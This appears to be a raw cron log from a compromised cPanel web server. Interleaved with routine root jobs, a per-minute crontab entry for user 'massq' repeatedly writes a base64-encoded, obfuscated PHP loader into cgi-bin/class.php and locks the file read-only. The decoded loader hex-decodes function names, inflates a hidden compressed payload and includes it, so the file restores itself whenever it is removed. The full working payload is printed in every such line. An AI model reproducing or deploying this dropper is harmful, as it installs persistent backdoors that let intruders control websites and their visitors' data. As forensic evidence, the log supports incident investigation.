Nov 10 04:50:01 server CROND[28084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:51:01 server CROND[28874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:52:01 server CROND[29709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:53:01 server CROND[30631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:54:01 server CROND[31580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:55:02 server CROND[32437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:55:02 server CROND[32438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:55:02 server CROND[32440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:56:01 server CROND[844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:57:01 server CROND[1664]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:57:01 server CROND[1666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:58:01 server CROND[2599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:59:01 server CROND[3256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:00:01 server CROND[3914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:00:01 server CROND[3915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:00:01 server CROND[3917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:00:01 server CROND[3918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:01:01 server CROND[4439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:01:01 server CROND[4440]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 05:01:01 server run-parts(/etc/cron.hourly)[4440]: starting 0anacron
Nov 10 05:01:01 server run-parts(/etc/cron.hourly)[4453]: finished 0anacron
Nov 10 05:02:01 server CROND[5111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
